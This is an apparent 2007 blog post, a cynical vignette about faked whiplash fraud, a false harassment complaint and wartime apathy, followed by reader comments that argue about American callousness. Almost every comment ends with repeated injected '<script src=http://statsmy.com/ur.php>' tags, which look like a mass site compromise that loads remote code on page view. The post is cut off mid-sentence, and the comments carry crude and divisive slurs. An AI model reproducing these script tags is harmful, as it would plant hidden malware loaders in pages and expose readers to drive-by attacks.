Time-line July 4th, 2005. America is immersed in the thick of two wars with Islamic terrorists. 160,000 troops occupy Iraq, and a lesser, but determined number occupy Afghanistan. A news flash on America's day of independence just in: 5 marines dead overseas, the dead growing in number almost daily, and oddly, almost no-one blinked.

Jake Brown was broke. Real broke. Paycheck to pocket broke. He was a young man, after all, and he needed money. He had 2 girlfriends, a Ford Mustang car-note and rent with a deadbeat roommate. He needed money. This was serious, and Jake was sweating it for real. On the way to work the morning of July 5th, Jake stopped at a red light and glanced up in his rear view mirror. A white Chevy Caprice was fast approaching and couldn't possibly stop in time. Jake braced for impact...

Three miles away at Topps Packaging, a small family run shipping business with 50 employees or so, the girls in inventory were buzzing. There was a new guy in town. The new guy, Ron Wilson, had worked his way up the ladder in 6 short months through hard work,excellent efficiency and punctuality. He was fast tracked on his way to the top. Ron made a habit of checking in on everyone, including the girls in shipping, and making sure their job was done right.

The owners loved him.

Of course the girls would have none of that. One of them, Taylor, was having an extra-marital affair with a man in shipping named Jamal. She would pick 2 days a month and give him blow-jobs in the company parking lot, and she didn't want any asshole upstart ruining her good thing. Plus, Taylor was with the company for over 10 years, and was sick and tired of being passed over for promotion. She and 2 other close female friends of hers in the front office put their heads together and whispered softly...

In Afghanistan a Marine Corps chopper was brought down by enemy fire, with a reported 17 dead...

Jake Brown braced for the impact. It wasn't much of one. The driver of the car, Tina Friedman, had managed to slow to less than 10 miles an hour when she clipped the right side of Brown's Mustang. Brown was not hurt, and he knew it, but he knew exactly what to do. He had talked to friends who had gotten rich in rear end collisions, and had even consulted a "creative" lawyer on what actions to take next in case this very event occurred. In quick, premeditated succession, he called an ambulance and lay prostrate, rubbing his lower neck and moaning in pitiful, contrived agony. The ambulance came and took him to the hospital, where he was fitted with a neck brace and sent home. He promptly called his attorney, a one John Rush, who gave him step by step plans on what to do next...

Taylor and her two co-conspirators, Tammy and Lou Anne, had decided to put and end to this silly Ron Wilson fuck. They agreed they would file a complaint with human resources that he had made sexual advances toward all 3 of them, report him, and destroy him. They knew that the law favored women in such accusations, and the human resources director was a woman, so the plan was a shoe-in. After their complaint was filed, Wilson was promptly written up, demoted and confined to a tiny part of the Topps Packaging warehouse well out of their vicinity. They had not finished him off...yet. That would come later.

An American telecommunications contractor was kidnapped 20 miles south of Baghdad. No word of his fate was known...

Jake Brown was in the thick of, and the lucky recipient of, America's famous whiplash dream machine. He declined the 2 thousand dollar cursory buy out offer from Allstate Insurance, and opted to run the game the full gambit. He wore a neck brace 24 hours a day, except at home, of course, went to regular sessions with physical therapists, and even had surgery to max out the pay out from Allstate, which after 14 months amounted to over 50 thousand dollars. Browns financial problem

Are you saying that stuff happens when we're at war? Or that people are selfish? Or that every weathly country in the history of the world eventually becomes spoiled and soft - that the hard work of millions before now turns into the inexcapable prison of luxury and decadence of the present?nemo </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

4. by Motz on 3/1/2007 4:52:29 PM

We have become insensitive to war because we are no longer sensitive people toward our fellows. We prey on eachother. What the terrorists are missing wholesale is that you cannot hurt America with terrorism. We do not care if our feloows die. Less competition in the workplace, and the shrinking SS pool. I blame the mediaone"></ </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

5. by Kenny on 3/1/2007 4:52:29 PM

Mark, it sounds like you've been listening to Combs again. I don't think it is as bad as you are making it out to be. Do bad things happen to good people? Sure, but I highly doubt that they are happening at a drastically increase rate. I think we care greatly about our fellow Americans. I've never seen a more united US than after the 9/11 attacks. Of course it bothered me that we "snapped back" to shallow reality so fast, but I point to our politicians who led the charge (both democrats and republicans). I think you can only become this jaded by having people tell you that you should be jaded. If you turn off the AM radio where "I blame the media" is basically code for "we've got a slow news day", like "should Pete Rose be in the HOF" is with sports talk, then I think you'll find a wealth of compassion and understanding from man to man. Your piece takes an interesting POV, and it makes valid points, but I personally believe that it is not an accurate gauge of the nation. </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

I believe it is a perfectly good gauge of the nation. We are immersed in culture wars, i.e., blacks , whites spanish speaking peoples, asians, etc., with each group clamoring for power at the expense of the majority. Never before has America been so adversarial and divided (as any libtard will tell you, red blue states, yadad). America is in a state of cultural vertigo and apathy, and it will only get worse. sr </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

8. by Motz, author on 3/1/2007 4:52:29 PM

Your degree in communications has done you no good. But then again, since when was communications a "degree"? Communications is a money maker for the science class washouts, that's all.u </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

9. by Kenny on 3/1/2007 4:52:29 PM

That is sadly true. Techincally I was in Radio/Television/Film for whatever that is worth. Hey, at least I can hook up your VCR. I will tell you one thing though - I am nowhere near as pathetic as the Public Relations majors that I had to share some classes with.?sid=1" </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

10. by Motzaroo on 3/1/2007 4:52:29 PM

Well we both work for kris, so what does that say? *sigh*?si </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

11. by Kenny on 3/1/2007 4:52:29 PM

That I'm a RTF major. I think that is the underlying message - at least for me. Fill in the blank though Motzaroo - "If I could do it all over again I'd major in ___________"n.ru/t </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

12. by Tim the lawyah on 3/1/2007 4:52:29 PM

Its hard enough to get a deserving injured person a reasonable recovery for injuries from insurance companies, getting $50k for an uninjured plaintiff who is 'faking' is unlikely, uncommon, and in any event an outlying anomoly. The far more common realities are injured people accepting too-small intitial offers from greedy insurance companies and injured persons losing in court after 2 years of the insurance company's stalling, taking home nothing. The judicial system (by and large) works. Problems are created when somebody hears (or invents) farcical situations and then others repeat and/or exagerate them ad nauseum. Then good people begin to think that the above scenarios are common. That being said, those that abuse the system of laws which protect us from barbarians are the lowest of the low and will get what coming to them.< </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>

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